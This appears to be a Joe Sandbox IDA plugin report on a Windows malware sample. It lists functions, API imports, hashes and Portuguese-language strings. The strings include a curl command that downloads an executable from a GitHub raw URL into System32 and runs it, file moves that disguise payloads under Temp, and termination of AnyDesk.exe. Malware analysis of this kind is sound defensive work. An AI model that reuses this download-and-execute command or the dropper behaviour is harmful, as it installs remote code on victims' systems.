Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c50dcb48f7df9696dc99e5c12c3a2b0d026eb0a35a6b13d5ee6c12a4e0c1f94e
Instruction ID: f42289a9d14b47970581a73937f279a0277e8c445638cba80dbc2a310df9c675
Opcode Fuzzy Hash: c50dcb48f7df9696dc99e5c12c3a2b0d026eb0a35a6b13d5ee6c12a4e0c1f94e
Instruction Fuzzy Hash: 37A00266449D0992E6100B40D9497605129D346200F08702082146105186BD9064520A

Function 00402755 Relevance: 70.2, APIs: 27, Strings: 13, Instructions: 157processCOMMON

Download Yara Rule

APIs

_ZNSaIcEC1Ev.LIBSTDC++-6 ref: 004027AD
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_.LIBSTDC++-6 ref: 004027C7
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 004027D3
_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5c_strEv.LIBSTDC++-6 ref: 004027DF
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc.LIBSTDC++-6 ref: 00402803
_ZNSolsEPFRSoS_E.LIBSTDC++-6 ref: 00402812
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc.LIBSTDC++-6 ref: 00402827
_ZNSolsEPFRSoS_E.LIBSTDC++-6 ref: 00402836
_ZNSaIcEC1Ev.LIBSTDC++-6 ref: 00402850
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_.LIBSTDC++-6 ref: 0040286A
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 00402876
_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5c_strEv.LIBSTDC++-6 ref: 00402882
system.MSVCRT ref: 0040288A
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc.LIBSTDC++-6 ref: 004028A6
_ZNSolsEPFRSoS_E.LIBSTDC++-6 ref: 004028B5
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc.LIBSTDC++-6 ref: 004028CA
_ZNSolsEPFRSoS_E.LIBSTDC++-6 ref: 004028D9
_ZNSaIwEC1Ev.LIBSTDC++-6 ref: 004028E5
_ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEEC1EPKwRKS3_.LIBSTDC++-6 ref: 004028FF
_ZNSaIwED1Ev.LIBSTDC++-6 ref: 0040290B
_ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_PKS3_.LIBSTDC++-6 ref: 0040293D
_ZNSt13basic_ostreamIwSt11char_traitsIwEElsEPFRS2_S3_E.LIBSTDC++-6 ref: 0040294C
_ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_PKS3_.LIBSTDC++-6 ref: 0040298A
_ZNSt13basic_ostreamIwSt11char_traitsIwEElsEPFRS2_S3_E.LIBSTDC++-6 ref: 00402999
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc.LIBSTDC++-6 ref: 004029E0
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc.LIBSTDC++-6 ref: 004029EF
_ZNSolsEPFRSoS_E.LIBSTDC++-6 ref: 004029FE

Strings

All matching files have been deleted., xrefs: 0040297C
curl -o C:/Windows/System32/provtol.exe https://raw.githubusercontent.com/devxdfps/pqsup/main/FinalizarUmProcesso.exe, xrefs: 004027BD
C:\Windows\System32, xrefs: 004028F5
Waiting before checking again..., xrefs: 0040292F
Aplicativo provtol.exe foi iniciado com sucesso., xrefs: 00402898
Erro ao iniciar o aplicativo provtol.exe., xrefs: 004028BC
Download concludo com sucesso., xrefs: 004027F5
Erro ao tentar baixar o arquivo., xrefs: 00402819
@+@, xrefs: 00402808, 0040282C, 004028AB, 004028CF, 004029F4
AnyDesk.exe, xrefs: 004029B7
cmd /c C:\Windows\System32\provtol.exe, xrefs: 00402860
8+@, xrefs: 00402942, 0040298F
was terminated., xrefs: 004029E5

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: St11char_traits$St13basic_ostream$Stls$SolsSt7__cxx1112basic_string$E5c_str$system
String ID: was terminated.$8+@$@+@$All matching files have been deleted.$AnyDesk.exe$Aplicativo provtol.exe foi iniciado com sucesso.$C:\Windows\System32$Download concludo com sucesso.$Erro ao iniciar o aplicativo provtol.exe.$Erro ao tentar baixar o arquivo.$Waiting before checking again...$cmd /c C:\Windows\System32\provtol.exe$curl -o C:/Windows/System32/provtol.exe https://raw.githubusercontent.com/devxdfps/pqsup/main/FinalizarUmProcesso.exe
API String ID: 2367766952-3273332024
Opcode ID: 9c03d8e16a1a8cddf8e7e66c39e26fa6104b0df0e6daba8639bc5717c7040404
Instruction ID: 1fcfff73b10c92c119adf231fbffb19c5e864e6330a607177ddb10fdd7dd2b38
Opcode Fuzzy Hash: 9c03d8e16a1a8cddf8e7e66c39e26fa6104b0df0e6daba8639bc5717c7040404
Instruction Fuzzy Hash: D56109A5611B4198DF04FF66E9993993364A789788F81543BEF0E277E9EEBCC114C308

Function 0040174C Relevance: 43.8, APIs: 18, Strings: 7, Instructions: 94COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 00401764
_ZNSaIcEC1Ev.LIBSTDC++-6 ref: 0040177F
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_.LIBSTDC++-6 ref: 00401796
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 004017B9
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 004017C5
_ZNSaIcEC1Ev.LIBSTDC++-6 ref: 004017D1
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_.LIBSTDC++-6 ref: 004017EB

Part of subcall function 00404780: _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EOS4_.LIBSTDC++-6(?,?,?,0040160B), ref: 004047BB

_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5c_strEv.LIBSTDC++-6 ref: 0040180E
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00401832
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 0040183E
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 0040184A
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc.LIBSTDC++-6 ref: 00401861
_ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE.LIBSTDC++-6 ref: 00401870
_ZNSolsEPFRSoS_E.LIBSTDC++-6 ref: 0040187F
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc.LIBSTDC++-6 ref: 00401894
_ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE.LIBSTDC++-6 ref: 004018A3
_ZNSolsEPFRSoS_E.LIBSTDC++-6 ref: 004018B2
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 004018BE

Strings

Arquivo movido para , xrefs: 00401853
USERPROFILE, xrefs: 0040175D
C:\Windows\Temp\UserOOBEBrokerSupport.exe, xrefs: 00401816
@+@, xrefs: 00401875, 004018A8
lpk.cab, xrefs: 004017E1
Erro ao mover o arquivo para , xrefs: 00401886
\Pictures\, xrefs: 004017A3

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: St11char_traits$St7__cxx1112basic_string$St13basic_ostreamStls$Sols$E5c_strgetenv
String ID: @+@$Arquivo movido para $C:\Windows\Temp\UserOOBEBrokerSupport.exe$Erro ao mover o arquivo para $USERPROFILE$\Pictures\$lpk.cab
API String ID: 1456429762-1389480806
Opcode ID: b73d214c2917439bc3f8a86761d31517171019b948f339ad51f431d86558a9dd
Instruction ID: 63c1b62f0b2979a78ef6f91b868c691144f8e1d34b60e30dea311dda5ff9c34c
Opcode Fuzzy Hash: b73d214c2917439bc3f8a86761d31517171019b948f339ad51f431d86558a9dd
Instruction Fuzzy Hash: 5F31ECA5711B1698DF00EFA2E9693DD2374A745788F80443BEE0E277A9EE7CD109C354

Function 00401948 Relevance: 31.6, APIs: 13, Strings: 5, Instructions: 67COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040195D
_ZNSaIcEC1Ev.LIBSTDC++-6 ref: 00401978
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_.LIBSTDC++-6 ref: 0040198F
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 004019B2
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 004019BE
_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5c_strEv.LIBSTDC++-6 ref: 004019CA
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc.LIBSTDC++-6 ref: 004019F2
_ZNSolsEPFRSoS_E.LIBSTDC++-6 ref: 00401A01
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc.LIBSTDC++-6 ref: 00401A16
_ZNSolsEPFRSoS_E.LIBSTDC++-6 ref: 00401A25
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00401A31
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc.LIBSTDC++-6 ref: 00401A46
_ZNSolsEPFRSoS_E.LIBSTDC++-6 ref: 00401A55

Strings

\Pictures\sls.cab, xrefs: 0040199C
USERPROFILE, xrefs: 00401956
@+@, xrefs: 004019F7, 00401A1B, 00401A4B
Arquivo excludo permanentemente com sucesso., xrefs: 004019E4
Erro ao excluir o arquivo., xrefs: 00401A08

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: St11char_traits$St7__cxx1112basic_string$SolsSt13basic_ostreamStls$E5c_strgetenv
String ID: @+@$Arquivo excludo permanentemente com sucesso.$Erro ao excluir o arquivo.$USERPROFILE$\Pictures\sls.cab
API String ID: 3286265572-131414485
Opcode ID: 267bddc42e90446b3a88bf48499828b33c9550f4c6f7ac00ec83e3b919a936b3
Instruction ID: 2eb9b79218f2198c1f34acb854241f8a10d5d7a5615430547f18094319e25931
Opcode Fuzzy Hash: 267bddc42e90446b3a88bf48499828b33c9550f4c6f7ac00ec83e3b919a936b3
Instruction Fuzzy Hash: 75211CA5B12B0198EE00EF62E8593A92374B745788F90083BDE0E377A5EE7CC555C348

Function 00401AA9 Relevance: 31.6, APIs: 13, Strings: 5, Instructions: 67COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 00401ABE
_ZNSaIcEC1Ev.LIBSTDC++-6 ref: 00401AD9
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_.LIBSTDC++-6 ref: 00401AF0
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00401B13
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 00401B1F
_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5c_strEv.LIBSTDC++-6 ref: 00401B2B
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc.LIBSTDC++-6 ref: 00401B53
_ZNSolsEPFRSoS_E.LIBSTDC++-6 ref: 00401B62
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc.LIBSTDC++-6 ref: 00401B77
_ZNSolsEPFRSoS_E.LIBSTDC++-6 ref: 00401B86
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00401B92
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc.LIBSTDC++-6 ref: 00401BA7
_ZNSolsEPFRSoS_E.LIBSTDC++-6 ref: 00401BB6

Strings

USERPROFILE, xrefs: 00401AB7
@+@, xrefs: 00401B58, 00401B7C, 00401BAC
\Pictures\lpk.cab, xrefs: 00401AFD
Arquivo excludo permanentemente com sucesso., xrefs: 00401B45
Erro ao excluir o arquivo., xrefs: 00401B69

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: St11char_traits$St7__cxx1112basic_string$SolsSt13basic_ostreamStls$E5c_strgetenv
String ID: @+@$Arquivo excludo permanentemente com sucesso.$Erro ao excluir o arquivo.$USERPROFILE$\Pictures\lpk.cab
API String ID: 3286265572-2999438161
Opcode ID: 62d34892a031218a51cb852d76e9b866f7c815a256ac2ece9090fd53b890e680
Instruction ID: 80ce135689bc8f13a71485defd8dc828a91f3546164ab7acda603760c7291612
Opcode Fuzzy Hash: 62d34892a031218a51cb852d76e9b866f7c815a256ac2ece9090fd53b890e680
Instruction Fuzzy Hash: 9C211CA5B11B1198EE00EF62E9593A92374B745788F90043BDE0E377A5EE7CD155C348

Function 00401550 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 94COMMON

Download Yara Rule

APIs

_ZNSaIcEC1Ev.LIBSTDC++-6 ref: 004015D5
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_.LIBSTDC++-6 ref: 004015EF

Part of subcall function 00404780: _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EOS4_.LIBSTDC++-6(?,?,?,0040160B), ref: 004047BB

_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00401636
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00401642
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 0040164E
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc.LIBSTDC++-6 ref: 00401665
_ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE.LIBSTDC++-6 ref: 00401674
_ZNSolsEPFRSoS_E.LIBSTDC++-6 ref: 00401683
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 004016C2

Strings

Arquivo movido para , xrefs: 00401657
USERPROFILE, xrefs: 00401561
C:\Windows\Temp\host.exe, xrefs: 0040161A
sls.cab, xrefs: 004015E5
@+@, xrefs: 00401679, 004016AC
Erro ao mover o arquivo para , xrefs: 0040168A
\Pictures\, xrefs: 004015A7

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: St11char_traits$St7__cxx1112basic_string$St13basic_ostreamStls$Sols
String ID: @+@$Arquivo movido para $C:\Windows\Temp\host.exe$Erro ao mover o arquivo para $USERPROFILE$\Pictures\$sls.cab
API String ID: 3695453941-3479357245
Opcode ID: 740011f55eeee73a3f83da6152337b8000f8f1b0ba10b3d293a67b735ff27397
Instruction ID: cf9f2fcee782da738842f8cbce71a342e853efe248735f026dedcadbb5d26df7
Opcode Fuzzy Hash: 740011f55eeee73a3f83da6152337b8000f8f1b0ba10b3d293a67b735ff27397
Instruction Fuzzy Hash: D531FCA5711B1698DF00EFA2E9693DD2374A745788F80043BEE0E277A9EE7CD149C354

Function 00403300 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 283memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(00409610,0000A9E6,?,?,?,00000001,0040124C), ref: 0040342D

Strings

pk@, xrefs: 0040336A
Unknown pseudo relocation protocol version %d., xrefs: 004035AE
Unknown pseudo relocation bit size %d., xrefs: 0040359A

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$pk@
API String ID: 544645111-1562679521
Opcode ID: 384f89a1a1b3a86da5074a16d4a3dd3457620dea64ab2ae481f085e83201f0d9
Instruction ID: 112b55a441116d757f8386d819aa0aa82104efd4d7d12f93cfe1095a559dccc4
Opcode Fuzzy Hash: 384f89a1a1b3a86da5074a16d4a3dd3457620dea64ab2ae481f085e83201f0d9
Instruction Fuzzy Hash: 809189B1B1054056EB249F76D84031F6B5AA7943AAF508937CF09BB7D4DE3ECA82870C

Function 00403850 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

signal.MSVCRT ref: 004038A9
signal.MSVCRT ref: 00403902
signal.MSVCRT ref: 0040395E
signal.MSVCRT ref: 00403A13

Strings

CCG , xrefs: 00403865

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: signal
String ID: CCG
API String ID: 1946981877-1584390748
Opcode ID: e0d2e3c73ad0ca24d0183f9c8634303cb39d915de4b4683b863df0b866217db4
Instruction ID: 3470547c15d191f0a0970c3df1731597e4de87c49550afe7a2a058e1d84e2e4e
Opcode Fuzzy Hash: e0d2e3c73ad0ca24d0183f9c8634303cb39d915de4b4683b863df0b866217db4
Instruction Fuzzy Hash: D031AAF171440005EF786A7A44553360D495BD973AF298B3B9AAEA73E1CDFC8EC5020E

Function 00402283 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 77stringCOMMON

Download Yara Rule

APIs

_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc.LIBSTDC++-6 ref: 004022C8
_ZNSolsEPFRSoS_E.LIBSTDC++-6 ref: 004022D7
strcmp.MSVCRT ref: 00402325
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc.LIBSTDC++-6 ref: 004023A8
_ZNSolsEPFRSoS_E.LIBSTDC++-6 ref: 004023B7

Strings

Process terminated successfully., xrefs: 0040239A
Failed to create snapshot, xrefs: 004022BA
@+@, xrefs: 004022CD, 004023AD

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: SolsSt11char_traitsSt13basic_ostreamStls$strcmp
String ID: @+@$Failed to create snapshot$Process terminated successfully.
API String ID: 3383437558-891075577
Opcode ID: 56cd7b28ca45866a2946c78623fbd150c618e7bca9e1af4e0ff30f4bcdf5e4b6
Instruction ID: fc5019de5750a7f6fdc44472108fc7f6367bbb328869c2e2da8fd72e65aa7eec
Opcode Fuzzy Hash: 56cd7b28ca45866a2946c78623fbd150c618e7bca9e1af4e0ff30f4bcdf5e4b6
Instruction Fuzzy Hash: B4310C6561078488EB60EF66E8583D92360F788798F50853A8E1E6B7E4DFBCC5958704

Function 004018C5 Relevance: 12.0, APIs: 8, Instructions: 35COMMON

Download Yara Rule

APIs

_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 004018CF
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 004018E0
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 004018EB
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 004018FA
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 0040190B
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 0040191C
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 0040192D
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 00401938

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: St11char_traitsSt7__cxx1112basic_string$ResumeUnwind_
String ID:
API String ID: 2805839870-0
Opcode ID: 632636e2f44d629367e43d492296603fbc783428cd8692823bcfbb2d35c59a1b
Instruction ID: 9a3bb8e421858da66906182f627fa93ba38171eecdcffad07e9b823dc22839e1
Opcode Fuzzy Hash: 632636e2f44d629367e43d492296603fbc783428cd8692823bcfbb2d35c59a1b
Instruction Fuzzy Hash: 99F01D55B0670689DE04FEA3A8692AC23A46786B88B90053F9E0E377E5ED3CD149C349

Function 004016C9 Relevance: 12.0, APIs: 8, Instructions: 35COMMON

Download Yara Rule

APIs

_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 004016D3
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 004016E4
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 004016EF
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 004016FE
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 0040170F
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 00401720
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00401731
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 0040173C

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: St11char_traitsSt7__cxx1112basic_string$ResumeUnwind_
String ID:
